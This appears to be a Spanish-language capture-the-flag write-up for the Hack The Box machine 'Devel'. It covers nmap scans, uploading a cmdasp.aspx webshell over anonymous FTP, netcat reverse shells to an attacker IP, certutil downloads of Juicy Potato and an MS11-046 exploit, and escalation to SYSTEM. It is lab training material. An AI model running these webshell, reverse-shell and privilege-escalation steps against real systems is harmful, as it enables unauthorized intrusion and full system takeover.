Post

Hack The Box Devel

Devel

Se procede con la fase de reconocimiento lanzando primeramente un ping a la dirección IP 10.10.10.5.

1
2
3
4
5
6
7
8
❯ ping -c 1 10.10.10.5
PING 10.10.10.5 (10.10.10.5) 56(84) bytes of data.
64 bytes from 10.10.10.5: icmp_seq=1 ttl=127 time=146 ms

--- 10.10.10.5 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 145.505/145.505/145.505/0.000 ms

De acuerdo con el TTL de traza ICMP, se puede determinar que se trata de una máquina con sistema operativo Windows. A continuación se procede con la ejecución de nmap para determinar los puertos abiertos de la máquina y exportanto la información al archivo allPorts.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
❯ nmap -p- --open --min-rate 5000 -vvv -n -Pn 10.10.10.5 -oG allPorts
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2021-08-27 23:03 CDT
Initiating SYN Stealth Scan at 23:03
Scanning 10.10.10.5 [65535 ports]
Discovered open port 21/tcp on 10.10.10.5
Discovered open port 80/tcp on 10.10.10.5
Completed SYN Stealth Scan at 23:04, 26.43s elapsed (65535 total ports)
Nmap scan report for 10.10.10.5
Host is up, received user-set (0.15s latency).
Scanned at 2021-08-27 23:03:49 CDT for 26s
Not shown: 65533 filtered ports
Reason: 65533 no-responses
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT   STATE SERVICE REASON
21/tcp open  ftp     syn-ack ttl 127
80/tcp open  http    syn-ack ttl 127

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 26.59 seconds
           Raw packets sent: 131086 (5.768MB) | Rcvd: 20 (880B)

Mediante la función extractPorts definida a nivel de zsh , se obtiene la información más relevante de la captura grepeable.

1
2
3
4
5
6
7
8
9
10
11
12
13
❯ extractPorts allPorts
───────┬───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
       │ File: extractPorts.tmp
───────┼───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
   1   │ 
   2   │ [*] Extracting information...
   3   │ 
   4   │     [*] IP Address: 10.10.10.5
   5   │     [*] Open ports: 21,80
   6   │ 
   7   │ [*] Ports copied to clipboard
   8   │ 

A continuación se lanza una serie de scripts para determinar el servicio y versión que corren para los puertos detectados.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
❯ nmap -sC -sV -p21,80 10.10.10.5 -oN targeted
Starting Nmap 7.91 ( https://nmap.org ) at 2021-08-27 23:05 CDT
Nmap scan report for 10.10.10.5
Host is up (0.15s latency).

PORT   STATE SERVICE VERSION
21/tcp open  ftp     Microsoft ftpd
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| 03-18-17  02:06AM       <DIR>          aspnet_client
| 03-17-17  05:37PM                  689 iisstart.htm
|_03-17-17  05:37PM               184946 welcome.png
| ftp-syst: 
|_  SYST: Windows_NT
80/tcp open  http    Microsoft IIS httpd 7.5
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/7.5
|_http-title: IIS7
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.54 seconds

A partir de los resultados obtenidos de nmap, observamos que se encuentra abierto el puerto 21 asociado al servicio FTP; por lo que trataremos de establece una conexión con el usuario anonymous:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
❯ ftp 10.10.10.5
Connected to 10.10.10.5.
220 Microsoft FTP Service
Name (10.10.10.5:kamiyo): anonymous
331 Anonymous access allowed, send identity (e-mail name) as password.
Password:
230 User logged in.
Remote system type is Windows_NT.
ftp> dir
200 PORT command successful.
125 Data connection already open; Transfer starting.
03-18-17  02:06AM       <DIR>          aspnet_client
03-17-17  05:37PM                  689 iisstart.htm
03-17-17  05:37PM               184946 welcome.png
226 Transfer complete.
ftp> 

De los recursos observados en el servidor FTP, se observan que podrían estár relacionados con el sitio web que hace uso de Microsoft IIS 7.5, por lo que es posible que podamos subir archivo y visualizarlos por la web. Hacemos un archivo de prueba para validar.

1
2
3
4
5
6
❯ catn test.htm
<html>
<body>
	<pre>Test</pre>
</body>
</html>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
ftp> put test.htm
local: test.htm remote: test.htm
200 PORT command successful.
125 Data connection already open; Transfer starting.
226 Transfer complete.
51 bytes sent in 0.00 secs (1.0573 MB/s)
ftp> dir
200 PORT command successful.
125 Data connection already open; Transfer starting.
03-18-17  02:06AM       <DIR>          aspnet_client
03-17-17  05:37PM                  689 iisstart.htm
08-29-21  12:32AM                   51 test.htm
03-17-17  05:37PM               184946 welcome.png
226 Transfer complete.
ftp> 

Accediendo al recurso http://10.10.10.5/test.htm observamos nuestro código subido, por lo que los archivos que subamos por FTP se encuentran asociados al sitio web. Ahora, sabiendo que IIS maneja archivos de extensión aspx, podemos crear un archivo con dicha extensión que nos entable una reverse shell hacia nuestro equipo de atacante. Se podría pensar en generar un archivo PHP; sin embargo, con whatweb o el plugin wappalyzer no observamos que el servidor nos pueda interpretar código php.

""

Primero, buscamos archivo en nuestro sistema que nos puedan ayudar:

1
2
3
4
5
6
❯ locate webshell | grep asp
/usr/share/webshells/asp
/usr/share/webshells/asp/cmd-asp-5.1.asp
/usr/share/webshells/asp/cmdasp.asp
/usr/share/webshells/aspx
/usr/share/webshells/aspx/cmdasp.aspx

Para este caso utilizaremos el archivo cmdasp.aspx, por lo que lo subimos al servidor:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
ftp> put cmdasp.aspx
local: cmdasp.aspx remote: cmdasp.aspx
200 PORT command successful.
125 Data connection already open; Transfer starting.
226 Transfer complete.
1442 bytes sent in 0.00 secs (35.2615 MB/s)
ftp> dir
200 PORT command successful.
125 Data connection already open; Transfer starting.
03-18-17  02:06AM       <DIR>          aspnet_client
08-29-21  12:56AM                 1442 cmdasp.aspx
03-17-17  05:37PM                  689 iisstart.htm
08-29-21  12:32AM                   51 test.htm
03-17-17  05:37PM               184946 welcome.png
226 Transfer complete.
ftp>

Abrimos el recurso desde el navegador y observamos nuestra webshell, para validar introducimos los comandos whoami y ipconfig para corroborar que nos encontramos en la máquina víctima y tenermos ejecución de comandos a nivel de sistema.

""

""

Ahora procedemos a entablarnos una reverse shell, primerament subimos el archivo nc.exe para poderlo ejecutar:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
ftp> put nc.exe
local: nc.exe remote: nc.exe
200 PORT command successful.
125 Data connection already open; Transfer starting.
226 Transfer complete.
28306 bytes sent in 0.00 secs (39.1228 MB/s)
ftp> dir
200 PORT command successful.
125 Data connection already open; Transfer starting.
03-18-17  02:06AM       <DIR>          aspnet_client
08-29-21  12:56AM                 1442 cmdasp.aspx
03-17-17  05:37PM                  689 iisstart.htm
08-29-21  01:04AM                28306 nc.exe
08-29-21  12:32AM                   51 test.htm
03-17-17  05:37PM               184946 welcome.png
226 Transfer complete.
ftp>

Después, en nuestra webshell introducimos el siguiente comando para localizar donde se encuentra el archivo nc.exe dentro del sistema cd C:\ && dir /s nc.exe. Identificamos que el archivo se encuentran en la ruta C:\inetpub\wwwroot. Ahora nos ponemos en escucha por el puerto 443 y nos establecemos una conexión introduciendo el siguiente comando en la webshell C:\inetpub\wwwroot\nc.exe -e cmd 10.10.14.15 443

""

1
2
3
4
5
6
7
8
9
10
11
❯ rlwrap nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.14.15] from (UNKNOWN) [10.10.10.5] 49157
Microsoft Windows [Version 6.1.7600]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

whoami
whoami
iis apppool\web

c:\windows\system32\inetsrv>

Tenemos acceso al sistema. Ahora enumeramos un poco la máquina para observa que privilegios tenemos o de que forma escalamos privilegios.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                               State   
============================= ========================================= ========
SeAssignPrimaryTokenPrivilege Replace a process level token             Disabled
SeIncreaseQuotaPrivilege      Adjust memory quotas for a process        Disabled
SeShutdownPrivilege           Shut down the system                      Disabled
SeAuditPrivilege              Generate security audits                  Disabled
SeChangeNotifyPrivilege       Bypass traverse checking                  Enabled 
SeUndockPrivilege             Remove computer from docking station      Disabled
SeImpersonatePrivilege        Impersonate a client after authentication Enabled 
SeCreateGlobalPrivilege       Create global objects                     Enabled 
SeIncreaseWorkingSetPrivilege Increase a process working set            Disabled
SeTimeZonePrivilege           Change the time zone                      Disabled

C:\Users>
systeminfo

Host Name:                 DEVEL
OS Name:                   Microsoft Windows 7 Enterprise 
OS Version:                6.1.7600 N/A Build 7600
OS Manufacturer:           Microsoft Corporation
OS Configuration:          Standalone Workstation
OS Build Type:             Multiprocessor Free
Registered Owner:          babis
Registered Organization:   
Product ID:                55041-051-0948536-86302
Original Install Date:     17/3/2017, 4:17:31 
System Boot Time:          29/8/2021, 1:15:26 
System Manufacturer:       VMware, Inc.
System Model:              VMware Virtual Platform
System Type:               X86-based PC
Processor(s):              1 Processor(s) Installed.
                           [01]: x64 Family 23 Model 1 Stepping 2 AuthenticAMD ~2000 Mhz
BIOS Version:              Phoenix Technologies LTD 6.00, 12/12/2018
Windows Directory:         C:\Windows
System Directory:          C:\Windows\system32
Boot Device:               \Device\HarddiskVolume1
System Locale:             el;Greek
Input Locale:              en-us;English (United States)
Time Zone:                 (UTC+02:00) Athens, Bucharest, Istanbul
Total Physical Memory:     3.071 MB
Available Physical Memory: 2.458 MB
Virtual Memory: Max Size:  6.141 MB
Virtual Memory: Available: 5.519 MB
Virtual Memory: In Use:    622 MB
Page File Location(s):     C:\pagefile.sys
Domain:                    HTB
Logon Server:              N/A
Hotfix(s):                 N/A
Network Card(s):           1 NIC(s) Installed.
                           [01]: vmxnet3 Ethernet Adapter
                                 Connection Name: Local Area Connection 3
                                 DHCP Enabled:    No
                                 IP address(es)
                                 [01]: 10.10.10.5
                                 [02]: fe80::58c0:f1cf:abc6:bb9e
                                 [03]: dead:beef::45f:18cb:2ab3:a6b2
                                 [04]: dead:beef::58c0:f1cf:abc6:bb9e

C:\Users>

Observamos dos vías potenciales para escalar privilegios en el sistema, el usuario presenta habilitado SeImpersonatePrivilege por lo que con la herramienta Juicy Potato podemos escalar privilegios.

Nos descargamos el archivo, lo subimos al sistema junto con el archivo nc.exe compartiendo un servidor con python y descargandolo en C:\Windows\Temp\Privesc.

1
2
3
4
5
6
❯ python -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.10.5 - - [28/Aug/2021 17:42:06] "GET /Juicy.Potato.x86.exe HTTP/1.1" 200 -
10.10.10.5 - - [28/Aug/2021 17:42:09] "GET /Juicy.Potato.x86.exe HTTP/1.1" 200 -
10.10.10.5 - - [28/Aug/2021 18:02:44] "GET /nc.exe HTTP/1.1" 200 -
10.10.10.5 - - [28/Aug/2021 18:02:47] "GET /nc.exe HTTP/1.1" 200 -
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
cd C:\Windows\Temp                                                                                                                         
mkdir Privesc                                                                     
mkdir Privesc                                                                                                         
cd Privesc                              
cd Privesc                                                                                 
certutil.exe -f -urlcache -split http://10.10.14.15/Juicy.Potato.x86.exe C:\Windows\Temp\Privesc\JP.exe
****  Online  ****
  000000  ...
  040600
CertUtil: -URLCache command completed successfully.

certutil.exe -f -urlcache -split http://10.10.14.15/nc.exe C:\Windows\Temp\Privesc\nc.exe
certutil.exe -f -urlcache -split http://10.10.14.15/nc.exe C:\Windows\Temp\Privesc\nc.exe
****  Online  ****
  0000  ...
  6e00
CertUtil: -URLCache command completed successfully.

C:\Windows\Temp\Privesc>

Ejecutamos el archivo JP.exe comprobamos que información nos solicita. De acuerdo con el página de Github, nos muestra un ejemplo de uso; por lo que tomamos dichos valores y agregamos el parámetro -a para ejecutar nuestro comando; en este caso una reverse shell a nuestro equipo de acatante -a "/c C:\Windows\Temp\Privesc\nc.exe -e cmd.exe 10.10.14.15 443", por lo que antes de ejcutar el programa nos ponemos en escucha por el puerto 443

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
JP.exe
JP.exe
JuicyPotato v0.1 

Mandatory args: 
-t createprocess call: <t> CreateProcessWithTokenW, <u> CreateProcessAsUser, <*> try both
-p <program>: program to launch
-l <port>: COM server listen port


Optional args: 
-m <ip>: COM server listen address (default 127.0.0.1)
-a <argument>: command line argument to pass to program (default NULL)
-k <ip>: RPC server ip address (default 127.0.0.1)
-n <port>: RPC server listen port (default 135)
-c <{clsid}>: CLSID (default BITS:{4991d34b-80a1-4291-83b6-3328366b9097})
-z only test CLSID and print token's user

C:\Windows\Temp\Privesc>
JP.exe -l 4444 -p c:\windows\system32\cmd.exe -t * -c {6d18ad12-bde3-4393-b311-099c346e6df9} -a "/c C:\Windows\Temp\Privesc\nc.exe -e cmd.exe 10.10.14.15 443"
Testing {6d18ad12-bde3-4393-b311-099c346e6df9} 4444
......
[+] authresult 0
{6d18ad12-bde3-4393-b311-099c346e6df9};NT AUTHORITY\SYSTEM

[+] CreateProcessWithTokenW OK

C:\Windows\Temp\Privesc>
1
2
3
4
5
6
7
8
9
10
11
❯ rlwrap nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.14.15] from (UNKNOWN) [10.10.10.5] 49183
Microsoft Windows [Version 6.1.7600]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

whoami
whoami
nt authority\system

C:\Windows\system32>

Ya somos adminstradores del sistema, ahora podemos visualizar las flags (user.txt y root.txt).

Otra forma de escalar privilegios es que vemos que la máquina presenta el sistema operativo Microsoft Windows 7 Enterprise 6.1.7600 N/A Build 7600, dicha versión de tecnología presenta una vulnerabilidad descrita en el CVE CVE-2011-1249 relacionado al MS11-046; por lo que podemos buscar un exploit compilado que nos facilite la escalada de privilegios:

Github

Nos descargamos el archivo, lo subimos al sistema compartiendo un servidor con python y descargandolo en C:\Windows\Temp\Privesc.

1
2
3
4
❯ python -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.10.5 - - [28/Aug/2021 17:28:22] "GET /ms11-046.exe HTTP/1.1" 200 -
10.10.10.5 - - [28/Aug/2021 17:28:26] "GET /ms11-046.exe HTTP/1.1" 200 -
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
cd C:\Windows\Temp                                                                                                                         
mkdir Privesc                                                                     
mkdir Privesc                                                                                                         
cd Privesc                              
cd Privesc                                                                                 
certutil.exe -f -urlcache -split http://10.10.14.15/ms11-046.exe C:\Windows\Temp\Privesc\ms11-046.exe
****  Online  ****
  000000  ...
  01b8af
CertUtil: -URLCache command completed successfully.

dir
dir
 Volume in drive C has no label.
 Volume Serial Number is 8620-71F1

 Directory of C:\Windows\Temp\Privesc

29/08/2021  01:33     <DIR>          .
29/08/2021  01:33     <DIR>          ..
29/08/2021  01:33            112.815 ms11-046.exe
               1 File(s)        112.815 bytes
               2 Dir(s)  22.117.363.712 bytes free

C:\Windows\Temp\Privesc>

Ejecutamos el archivo ms11-046.exe y ya somos adminstradores del sistema, ahora podemos visualizar las flags (user.txt y root.txt).

1
2
3
4
5
6
7
ms11-046.exe

whoami
whoami
nt authority\system

c:\Windows\System32>
This post is licensed under CC BY 4.0 by the author.